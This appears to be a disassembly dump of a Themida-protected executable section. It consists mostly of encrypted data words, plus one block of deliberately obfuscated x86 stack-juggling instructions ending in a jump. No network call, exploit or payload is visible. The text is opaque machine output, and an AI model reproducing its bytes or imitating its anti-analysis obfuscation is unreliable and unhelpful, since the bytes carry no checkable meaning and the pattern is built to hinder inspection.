dd 56460000h, 3DB23C3h, 8D8D7F54h, 5E21B71h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 5EC35242h, 0C325C561h
dd 0FEC97144h, 1C7A7h, 6A000000h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 0EE34C351h
dd 0FE922h, 86C10000h, 79E43D0Dh, 8D9D6915h, 0C3D42D73h
dd 441C7A5h, 0
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 1EC35141h
dd 0A8ED6DB3h, 95891648h, 5E20BA1h, 840FC00Bh, 19h, 428D8DF8h
dd 6605E24Ch, 5B8F38Bh, 8B000000h, 0E21161BDh, 8BE1FF05h
dd 718D8DFAh, 2B05E21Bh, 0E21DA5BDh, 0A501C705h, 0E854CA95h
dd 7, 0FA121DDh, 8B3EBE47h, 0E2005DBDh, 95895E05h, 5E2243Dh
dd 0CFCB0181h, 41C71499h, 5F596904h, 44181CEh, 31D6D710h
dd 1B51B589h, 0B58B05E2h, 5E20135h, 13E9006Ah, 80000000h
dd 8F8E04F3h, 0BAE428FBh, 0A4A86946h, 0F10B29A3h, 858D3DD0h
dd 5E21B71h, 0D850Fh, 8E90000h, 0B6000000h, 4183B7CDh
dd 9046A57Ch, 5350FB8Bh, 8E0F60h, 66000000h, 61C9CAB8h
dd 0EF81905Eh, 4125230Ch, 319995FFh, 8D8D05E2h, 5E21B71h
dd 2FA5BD8Bh, 1C705E2h, 0
dd 0AEA6C781h, 41C71ED1h, 4, 8E0F00h, 0B000000h, 1F840FC0h
dd 8D000000h, 0E24C428Dh, 9E905h, 0FBAE0000h, 0D2035939h
dd 0B8F975E2h, 5, 0FE1FFF8h, 0CA03F1BFh, 0FFF26CE9h, 0F98B66FFh
dd 6AC18Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h
dd 50400000h, 2AC925C3h, 66C9C491h, 4EBF18Bh, 0
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 13C35040h
dd 0B70F7B5Fh, 91858DF2h, 6A05E20Eh, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 0B849C353h
dd 0F18D290Ah, 9005E214h, 0E850F38Bh, 5, 3A3C5938h, 6A905E30h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1C042444h
dd 47000000h, 7D55C357h, 27265515h, 31162C4Bh, 0E221F995h
dd 898D2905h, 6A05E20Ah, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1604h, 0C3534300h, 0E93BEF6Bh, 10h, 0B933E0F1h
dd 2CF95A12h, 0CE4EBA9Ch, 40360DC9h, 99F68166h, 6A006A8Fh
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1B042444h
dd 41000000h, 9949C351h, 0B3DA1FD4h, 0BE661369h, 890FCF60h
dd 6, 2AB1B58Bh, 858D05E2h, 5E5EA00h, 19B5BD29h, 0C08305E2h
dd 56006A05h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h
dd 0C3564600h, 0E518A81Dh, 40EEA232h, 0FADB58Bh, 669005E2h
dd 8B50F18Bh, 6A90F0h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 190424h, 52420000h, 8AE67BC3h, 0E89C4123h, 14h, 7AA6108Eh
dd 3622D379h, 747D1A4Fh, 46E7CF4h, 0B77B2A9Bh, 50006A5Eh
dd 4A96DE81h, 895E6A10h, 0E20BA195h, 0E9006A05h, 10h, 0CC184982h
dd 678A4273h, 0F5E6BC84h, 440AB6F6h, 1E2D95FFh, 816605E2h
dd 8DF0DBEEh, 0E59D809Dh, 15B50305h, 0FF05E20Ch, 0F2BF0FD3h
dd 232985FFh, 830F05E2h, 13h, 7E8h, 3EEB700h, 0C88842B9h
dd 0D96EE81h, 0E95E13E8h, 0BEDh, 0E8h, 0ED815D00h, 5E5EA0Ah
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 3EC35040h
dd 2EE1B7EBh, 0B27E383Fh, 21BD81DBh, 0D005E221h, 0F000007h
dd 19C86h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1C04h, 0C3534300h, 1E21D045h, 0BE86A016h, 9DB58BEFh
dd 8B05E223h, 0E20B5D9Dh, 0F7BF0F05h, 100E381h, 29600000h
dd 0E218E985h, 61FE8A05h, 8E9h, 0AE7FC500h, 541C07DCh
dd 0FDB0BE6h, 0A985h, 60575600h, 835E5E61h, 0E5E825BDh
dd 840F0005h, 3Bh, 15219D89h, 0B53105E2h, 5E22185h, 0B7E9h
dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h
dd 0C3554500h, 2DA5AD60h, 430D84E6h, 299589FFh, 0C705E217h
dd 0E5E82585h, 105h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1904h, 0C3534300h, 9AAC8EA3h, 0B52B0AABh
dd 5E20A4Dh, 57E9h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
dd 24448104h, 1D04h, 0C3574700h, 0EFF1509Eh, 3B74DA1h
dd 85C73490h, 5E5E825h, 0
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 27C35242h
dd 7B9B58Bh, 0B58B05E2h, 5E2090Dh, 0B5D9D8Dh, 6A05E2h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h
dd 56E02EC3h, 9DB589h, 65BE05E2h, 81388F34h, 0FFFEFF23h
dd 56006AFFh, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h
dd 0C3564600h, 0AA698839h, 0F508C00h, 686h, 79B58B00h
dd 8B05E210h, 0E2051DB5h, 0DB8C6605h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 19h, 52C35646h, 0CD20453Ch, 6810FF1h
dd 89000000h, 0E20D8D85h, 4C3F605h, 48840Fh, 0BD890000h
dd 5E21A01h, 2C098D89h, 95FF05E2h, 5E21621h, 3AD68166h
dd 8B66502Dh, 240489F3h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 19h, 99C35545h, 3C93EB3Ah, 0FF38B34h, 189h
dd 70E9F800h, 51000005h, 259D8952h, 5E05E215h, 8B00B05Eh
dd 0E20409B5h, 5170E605h, 28F0Fh, 61600000h, 71E4F85Eh
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 80C35040h
dd 0A498BF70h, 4B9D0793h, 0F3B70F42h, 89D8B60Fh, 0E229A18Dh
dd 6BA05h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 140424h, 52420000h, 8160F1C3h, 0F547E6CAh, 198F0F4Ah
dd 0E8000000h, 13h, 0DF577C0Bh, 7FEDFAADh, 279D4BC6h, 339AE408h
dd 5F71F3DBh, 0CAF5BE61h, 0C38B4B46h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 18h, 6FC35242h, 5BA70F01h, 9E8h
dd 0EA675000h, 46A25AB5h, 0B503D281h, 5E21819h, 4E8C15Eh
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0FCC35242h
dd 0AD2BE909h, 5E8E00Eh, 0C9000000h, 0E25B53FFh, 18E99589h
dd 665E05E2h, 6AE2F7h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 180424h, 55450000h, 0B9962BC3h, 0F78B9FDFh, 6AD82Bh
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
dd 0C8E297C3h, 0E5ADA083h, 0D759D89h, 529305E2h, 5EF78B66h
dd 0E8605050h, 11h, 491FD93Bh, 0EEDEB2D3h, 0C86F19A4h
dd 73FD89E6h, 5E61591Dh, 53006A93h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1804h, 0C3534300h, 71A4461Fh, 6DB52329h
dd 8B05E21Bh, 0E21359B5h, 21B5FF05h, 0E905E221h, 0Dh, 4D4D8775h
dd 7F6C7A8Bh, 59B350Fh, 0B995FFCDh, 6A05E20Ah, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
dd 0D912C357h, 0B0A74BE0h, 55006A00h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1604h, 0C3554500h, 31988565h
dd 0E21FC1B5h, 6A70E605h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 1B042444h, 43000000h, 9126C353h, 43457188h
dd 6E88EF7h, 0B9000000h, 5C0FFC0h, 0B5EF584h, 0E203D9B5h
dd 6A71E405h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 19042444h, 45000000h, 0E0B8C355h, 7DFE5F70h, 3CF6B70Fh
dd 0FC830F61h, 6A000002h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 14042444h, 42000000h, 812FC352h, 1DCC0FDEh
dd 0D8B60F49h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 16h, 5DC35343h, 0BE66068Eh, 9D8962D3h, 5E22AF9h, 6BAh
dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1804h
dd 0C3524200h, 0DB6E7DA4h, 85B58B6Ch, 8B05E20Ch, 0F146BEC3h
dd 0E8C15F1Ch, 50006A04h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1804h, 0C3504000h, 70040DD7h, 0E2F766F3h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0AC35545h
dd 8E927E8h, 24000000h, 7A88948Dh, 8BD466CBh, 0E222D1B5h
dd 6AD82B05h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 16042444h, 45000000h, 7B5CC355h, 0F99D09F1h, 5805E219h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 0CCC35141h
dd 0B360C411h, 6B866D6h, 0D82B6139h, 1D1880Fh, 6A0000h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
dd 0A83F9EC3h, 1F78B66h, 0E208C99Dh, 7B905h, 0ACBE0000h
dd 836DF9E3h, 6A00C1h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 1D0424h, 53430000h, 3298DDC3h, 7B2C1EB7h, 0FF8D721h
dd 80h, 0FD93B00h, 16A86h, 51006A00h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1D04h, 0C3514100h, 82B2E55h, 9E786E88h
dd 48BE49BDh, 666AE649h, 6AD98Ch, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 160424h, 57470000h, 6D6E97C3h, 25259D31h
dd 0EE905E2h, 0E2000000h, 0CF36A2EAh, 2FBEC6C8h, 3DE8408Eh
dd 4C1F611h, 0F7840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 140424h, 56460000h, 4ABEC5C3h, 8B6DCFB9h
dd 0A59D29F1h, 0FF05E21Eh, 0E2162195h, 0E1BD8905h, 5B05E200h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0F7C35141h
dd 0E2C83B9Dh, 0B799EA43h, 0C32BF28Bh, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 1Ch, 77C35040h, 4F0DD866h, 0C77996EBh
dd 6A18589h, 8B6605E2h, 59BD89F1h, 3D05E205h, 834h, 5B860Fh
dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h
dd 53430000h, 0A40B56C3h, 7A6346E4h, 1563D14h, 0E2070DBDh
dd 30E95E05h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 1D042444h, 45000000h, 9284C355h, 0A99914A6h
dd 0E15873A2h, 0DE248BBEh, 66C08B4Bh, 8B2EBDBEh, 8BD88BC3h
dd 0E20179B5h, 0F585C705h, 0F705E21Bh, 6A73DDE7h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
dd 513C352h, 77FE1935h, 0F9BD8912h, 8B05E20Bh, 0B9F560C0h
dd 396B8897h, 59B50361h, 8105E200h, 0E22121BDh, 7D005h
dd 3D850F00h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 1A042444h, 43000000h, 0A29CC353h, 3444528h
dd 0E9BD298Fh, 8B05E232h, 0E20ADDB5h, 2185FF05h, 6605E221h
dd 0B589F78Bh, 5E20611h, 2121B5FFh, 6A05E2h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 0F25D34C3h
dd 0F0035780h, 669DE22Ah, 51E1AABEh, 0C0A9C681h, 0E85E27C9h
dd 14h, 43E0213Ah, 0CC694260h, 99B79F2h, 5B3892CEh, 5A0EB91h
dd 3325B58Bh, 0FF5E05E2h, 0E20AB995h, 57006A05h, 3E8h
dd 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h
dd 0AEB917BEh, 0D88B90F6h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 19h, 0F5C35141h, 5E95A5A5h, 8890F59h, 0F000000h
dd 282h, 83616000h, 0E21CA1BDh, 840F0005h, 2Bh, 28EE9FCh
dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h
dd 55450000h, 4584DEC3h
dd 0DC4A16B8h, 8CF0BF0Fh, 51006ADFh, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1C04h, 0C3514100h, 0A40182E3h
dd 0CB96FDAAh, 45EE8192h, 0E955FF22h, 9, 9025C0DFh, 0C7BB1366h
dd 0C7F766C8h, 850F0004h, 224h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 1Ch, 8AC35040h, 759866B7h, 0E03841A7h
dd 0BFh, 0E6816600h, 0B58B502Fh, 5E21DF5h, 0F5699D8Dh
dd 6A05E5h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
dd 51410000h, 0B99BC9C3h, 0B589D86Ah, 5E210A1h, 14E850h
dd 2FC40000h, 195556B4h, 3B7D8BDEh, 975F9F68h, 7555DA71h
dd 7E96652h, 0FD000000h, 5C1114BEh, 895EDAC6h, 0B58B241Ch
dd 5E216A9h, 35FF64h, 6A000000h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 1A042444h, 43000000h, 749CC353h, 3421C615h
dd 0BE921h, 0E6F50000h, 0B1F8051Ch, 0C806E0BEh, 258964C7h
dd 0
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 3BC35747h
dd 0C3B4CA60h, 14893FC5h, 0CE85Ah, 0AB490000h, 6FCEFC93h
dd 2B6ECD77h, 830FF2C8h, 0
aLJ db '^‹Äj',0
db 52h, 0E8h, 3
dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
dd 0D589C352h, 419CBF3h, 78DE81CCh, 0CD2A3D0Bh, 2300EB01h
dd 0E2178DB5h, 64F18B05h, 58Fh, 0FE90000h, 5F000000h, 7FA31218h
dd 0C22EBAFCh, 0A4880E05h, 0C4832F03h, 51006A04h, 3E8h
dd 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h
dd 0CE816690h, 0C00B9941h, 9A840Fh, 6A0000h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 170424h, 51410000h, 8A5450C3h
dd 61B58B59h, 8D05E231h, 0E24C42BDh, 8D858905h, 0B805E20Eh
dd 5, 0F91EBE66h, 9589E7FFh, 5E2215Dh, 245C8B57h, 0B8838B10h
dd 0F000000h, 0FE0140B6h, 0B08389C8h, 83000000h, 0B883h
dd 335F0200h, 8B66C3C0h, 50006AF2h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1604h, 0C3504000h, 0E9A5B258h, 10h, 92A377C5h
dd 8CAACDFBh, 34CC2BC2h, 93D90A2h, 3DE9CA2Bh, 6AFFFFF4h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1D042444h
dd 46000000h, 0B51AC356h, 0CEAE810Ah, 47E32E9h, 8E829BEh
dword_52D2A8 dd 3204EB19h, 0E93B3B2Ch, 4A9h, 0A5216593h, 0E9410C4h
; DATA XREF: Themida_:004EF854o
dd 0D7F3BF3Bh, 0B9256392h, 18D13C8h, 49B20BEAh, 0EFEA5F7Bh
dd 964425A1h, 3CBD8C0Ah, 156C507Eh, 0FD4C83B4h, 0EBD352F9h
dd 0D823696Eh, 33946499h, 0FC18B902h, 382F64D3h, 0B95F10B9h
dd 0B9F6FC18h, 0D2077A20h, 58951BDEh, 575582CDh, 4D498D34h
dd 4232743Eh, 4D8F03F4h, 44B13A41h, 74E542C5h, 0ADFC18B9h
dd 0B9BABB1Ch, 1C6BFC18h, 210006A7h, 0F170F7BBh, 18B9E768h
dd 78413EFCh, 911DDFA2h, 8210CB0Ah, 0E1D59F7Bh, 0BF5B6795h
dd 988F0DCAh, 0F9E24D9h, 956FDCEh, 0FC18B975h, 850CF86Eh
dd 3A041348h, 79E7h, 696EDB00h, 0B90F40E9h, 7CDDFC18h
dd 0FC18B9FBh, 7A315D2Ah, 9E91FE0Dh, 85FC18B9h, 8A18C584h
dd 313D0931h, 0B801874Eh, 4134F82h, 9FC3Ah, 3A7D0000h
dd 8400F4BAh, 6E887E4Fh, 0AA3F2266h, 1062781Dh, 72EBFDCh
dd 99C18DCh, 72890FC6h, 60BB07F3h, 0D97EFAE1h, 0FC18AC98h
dd 6685F249h, 92E6DE98h, 0ACDAAAECh, 1BACEAEDh, 65E4A054h
dd 0D1EAB622h, 5837435h, 6D6ED399h, 599DC427h, 5387CE5Dh
dd 0F30A9845h, 77FE0D7Ah, 0B8B8E284h, 0E09E67BBh, 0CE7850ABh
dd 0CA6C82F6h, 0BADB4CFAh, 0BE04A164h, 0AE2F12ABh, 30ABEFEAh
dd 65D21B62h, 0E998D506h, 77482870h, 5C6D1BD2h, 0B8FEFB4Eh
dd 0AAF6E26Dh, 0BFB73153h, 427A548h, 752A3Ah, 6E1C0000h
dd 5DC4276Dh, 0BE9A05CCh, 7A7A6FEFh, 79F8C13Eh, 0FFC33781h
dd 713B7B82h, 0FEC43985h, 266C91D0h, 53599CC7h, 562EA8C8h
dd 4D50ED3h, 58BD3Ah, 6E810000h, 0ECAA2D6Dh, 6733FBDh
dd 0EE7E7CE7h, 0CA18C55Bh, 0D2024518h, 0AA0299D6h, 0F9BF387Bh
dd 0D69029A2h, 0E51150DEh, 0A08DCE6Bh, 0EF44FC18h, 0B52629B2h
dd 0C95EE3EFh, 0E019117Ch, 2D3CB1DAh, 6ECCBA03h, 7EDB2266h
dd 0FC18B9C0h, 10976FD9h, 3A0413BDh, 112h, 6A6E5400h, 5B9CC726h
dd 0A1E0CE5Dh, 0B9D8993Eh, 3209FC18h, 69D5A1A9h, 0B6A12D71h
dd 258285A9h, 1FACD05h, 0FD6487FCh, 88BBEFCh, 0FAADAEAFh
dd 0D20267F9h, 0C906B7D6h, 0CC5F6596h, 19683E8Fh, 0E643DAE0h
dd 0F9FAAD4Bh, 105E5610h, 4425A1E7h, 4FF61593h, 45F90C8Ah
dd 0F26713E3h, 9D582B89h, 0E8497E1Fh, 498EB10Ah, 8C4BDC43h
dd 50A8B3CCh, 0B6FCAA33h, 3FE6F65Bh, 10EF0h, 0EFAECA00h
dd 2D06A7EBh, 9A1D0C20h, 0A4669B0Dh, 9ECFA728h, 29C84168h
dd 9CE5C633h, 1FA2F26h, 0A5E91352h, 26D21546h, 0A4C5419Ah
dd 0FBAF5203h, 7FB483F9h, 7634A52Ch, 0DAE01968h, 0D1D70043h
dd 0C6BE384Ah, 9D397F78h, 0E7293A97h, 35913Fh, 18D50000h
dd 75D25579h, 0FC18B914h, 1F0BC156h, 0CD526A2Ch, 0CF5E5A9Ah
dd 92E93D8Eh, 182D2E0Bh, 1D5DFC18h, 80A4AB29h, 18E73881h
dd 211EFC18h, 8924A5h, 0AE5E0000h, 0B9C98A2Fh, 2918FC18h
dd 5D9EEDB1h, 61EEC7E0h, 0DD7DDA4Dh, 3401FAD2h, 0A02314B5h
dd 85F2F9FAh, 45B23D48h, 0F1E65B47h, 9435B4ABh, 0F9FAA0A3h
dd 99A40572h, 9F23D796h, 0B3A4050Ch, 62F9FAA0h, 0A60FD815h
dd 0F9FAA38Eh, 55A195D3h, 2063E6A4h, 0BCFAFFBBh, 54B7EC69h
dd 17C0C6E7h, 8623260Ah, 41CB5E5h, 9DC4271Ch, 1BA1545Ch
dd 8F1E4B80h, 974D3923h, 20A3A68Ah, 0D7367C61h, 4BFC4566h
dd 0BA0A36BFh, 181BC1CDh, 77D0577Bh, 1FEAFF6h, 8A35502Fh
dd 0CC19934Dh, 5FAEF2E8h, 94B37D1Eh, 6ADFFB30h, 73DC2F6Dh
dd 3F120FEBh, 3E8C7822h, 0CD4CF3B9h, 0DCCFEB6Ch, 7C4D3AB8h
dd 19981BAEh, 0DCCFBFB0h, 401956B8h, 0B8DCCF0Fh, 115069C6h
dd 185BA2E8h, 624CDFDDh, 39BE0CF8h, 0CD3A8079h, 317760C1h
dd 38BEAh, 0A7B30000h, 2C686E9Dh, 5B6196D9h, 575B81C0h
dd 404E8D34h, 7341BA25h, 6E34A928h, 9B21D41Fh, 9519C100h
dd 8307CF76h
db 78h, 0F2h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], edx
push 5B4Fh
mov [esp], eax
push 2658h
mov [esp], ecx
push edi
mov edi, 5E5F5FDh
mov eax, edi
mov edi, [esp]
add esp, 4
push esp
mov ecx, [esp]
add esp, 4
push ebp
push eax
sub dword ptr [esp], 5CA016CFh
pop ebp
add ebp, 5CA016CFh
mov [ecx+8], ebp
pop ebp
mov ecx, [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
mov eax, [esp]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
jmp loc_4F5CCB
; ---------------------------------------------------------------------------
dd 0FA1FB874h, 0C50305E5h, 3D97E0FFh, 39D5783h, 6B9B4E4Fh
dd 72D0416h, 0AC0C7E57h, 60BD59A5h, 2F7F42C5h, 401644FCh
dd 0AC177F39h, 0BFA14BAEh, 59256DC5h, 0EF674B62h, 0C18B75CFh
dd 0C21BD23h, 4EB05E2h, 0
dd 68E0Fh, 0BD8B0000h, 5E20A45h, 0EE9h, 9CFC0900h, 3223CD6Ah
dd 8258FEC0h, 8DA4DF18h, 0E20E9185h, 0B58B6005h, 5E22969h
dd 9061E88Ah, 0AE8h, 5C6BCB00h, 0A15C3A20h, 0E879223Ch
dd 0Bh, 0BD2366A0h, 761E017Ch, 0BF5721FBh, 5023DDE1h, 0BE505E5Fh
dd 416C9255h, 50006A90h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1C04h, 0C3504000h, 4A2CDF90h, 78EAA00Ah, 0B1BD8B5Ah
dd 6A05E21Eh, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1604h, 0C3514100h, 0FBC2688h, 6AF0BFh, 0E855006Ah, 3
dd 5DC35D20h, 4246C89h, 4244481h, 15h, 77C35545h, 6858D19h
dd 0F05E5FDh, 68Bh, 0F1BD2300h, 8305E215h, 6A05C0h, 3E857h
dd 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
dd 9EFAA4C3h, 8B545A0Fh, 0E21099BDh, 8B665005h, 240489F1h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0FBC35141h
dd 1C05081Eh, 66CED5D2h, 0F7BF0F71h, 6AF28Bh, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 19h, 29C35040h, 9C036305h
dd 1B523A3h, 8B05E21Ch, 89006AF1h, 0E20F8DBDh, 2D95FF05h
dd 6A05E21Eh, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 1C042444h, 42000000h, 0AE4FC352h, 0A2AF6B2Ch, 0BEA6C9C9h
dd 6349EEC3h, 9D809D8Dh, 6A05E5h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 180424h, 56460000h, 5EDC97C3h, 0F38BD5C2h
dd 24FD8D89h, 0D3FF05E2h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 1Ch, 0EFC35040h, 0DA3B5748h, 438285E7h, 4D98529h
dd 85FF05E2h, 5E22329h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 18h, 76C35242h, 0FE871015h, 8EAE9FCh, 0E80000h
dd 5D000000h, 0FD10ED81h, 6A05E5h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 1D0424h, 55450000h, 70A8BC3h, 56A0866Ah
dd 811E9869h, 10C2F9DEh, 21BD8173h, 0D005E221h, 0F000007h
dd 16F86h, 0C0D78100h, 8B425C26h, 0E209F99Dh, 1DB58905h
dd 8105E206h, 100E3h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1904h, 0C3554500h, 0E7A1D07h, 0B52B0AB7h
dd 5E204FDh, 0DB0BF08Bh, 97850Fh, 6A0000h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 170424h, 56460000h, 7175EAC3h
dd 0E9BD83A8h, 5E5FAh, 4C840Fh, 6A0000h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 0CBB785C3h
dd 0CFFFD56Dh, 79E9h, 14E800h, 4B2B0000h, 51A2A700h, 763AD26Bh
dd 0E606E6FFh, 4118CEFh, 6E9C904h, 0FA000000h, 0FAC78DA9h
dd 85C75E5Fh, 5E5FAE9h, 1, 39BDBF66h, 0CE816660h, 0FDBBB469h
dd 61690207h, 35E9h, 0E985C700h, 5E5FAh, 6A000000h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
dd 8187C355h, 92A92901h, 0BF668F99h, 0BF669F65h, 9D8D11DDh
dd 5E209F9h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 1Dh, 52C35040h, 85E87888h, 423DF6Dh, 0FF23813Eh, 6AFFFFFEh
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1D042444h
dd 40000000h, 0C86CC350h, 0CA8D2A7Dh, 718B72BFh, 9DE9BF66h
dd 6ADB8C66h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 18042444h, 47000000h, 909C357h, 8B4A35BCh, 0E209CDB5h
dd 4C3F605h, 80840Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 180424h, 51410000h, 0ECDF50C3h, 0BD23A67Ch
dd 5E21CD5h, 0B99D8960h, 0E905E215h, 10h, 79AA48ECh, 1933E23h
dd 1E6E764Bh, 0D2965205h, 2195FF61h, 6A05E216h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h
dd 1A93C350h, 0B58B3379h, 5E20829h, 170BBF50h, 489371Ch
dd 38A0F24h, 66000000h, 48E9FB8Bh, 6A000004h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
dd 0D488C350h, 6195293Ch, 0B005E221h, 53006A00h, 3E8h
dd 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h
dd 53F8C9B3h, 629A02BFh, 70E65F47h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 1Dh, 0F3C35343h, 65D7C4E7h, 81CF65A6h
dd 0FFBF0FB9h, 6A71E4h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 180424h, 52420000h, 740D47C3h, 852902C4h, 5E22AF5h
dd 24BDBD8Bh, 0B60F05E2h, 0DF8166D8h, 6BA36E2h, 6A000000h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 15042444h
dd 45000000h, 884C355h, 1BFDBD8Bh, 806005E2h, 0BD89F4E7h
dd 5E21F91h, 0C1C38B61h, 6A04E8h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 1D0424h, 55450000h, 0BDBC51C3h, 12C484AFh
dd 0E985FEB7h, 8, 4A9D54A9h, 0C9B33A11h, 6AE2F766h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h
dd 6191C355h, 0FC297AF6h, 1B9B58Bh, 0D82B05E2h, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 1Ch, 0D7C35141h, 29C187F9h
dd 71207969h, 4880Fh, 0BF660000h, 5093E0FAh, 8B93505Eh
dd 0E21DDDBDh, 21B5FF05h, 6A05E221h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 72A6C356h
dd 55662A8Ch, 3D858969h, 0FF05E21Fh, 0E20AB995h, 6F7FBF05h
dd 0B07782h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 14h, 8BC35141h, 0EE9h, 845E4600h, 715C6AC5h, 395FA191h
dd 0E62D5FF5h, 53006A70h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1404h, 0C3534300h, 0EE986h, 0FB100000h, 0D59D81CBh
dd 47733F2Fh, 0CB53AF02h, 880Fh, 71E40000h, 113838BFh
dd 0F613C46h, 21E83h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1B04h, 0C3564600h, 879EC231h, 26BAC4ECh
dd 0D8B60FF8h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 1Ch, 70C35646h, 0C6D9A02Fh, 58729AFDh, 0C35E3DBEh, 6BA5Fh
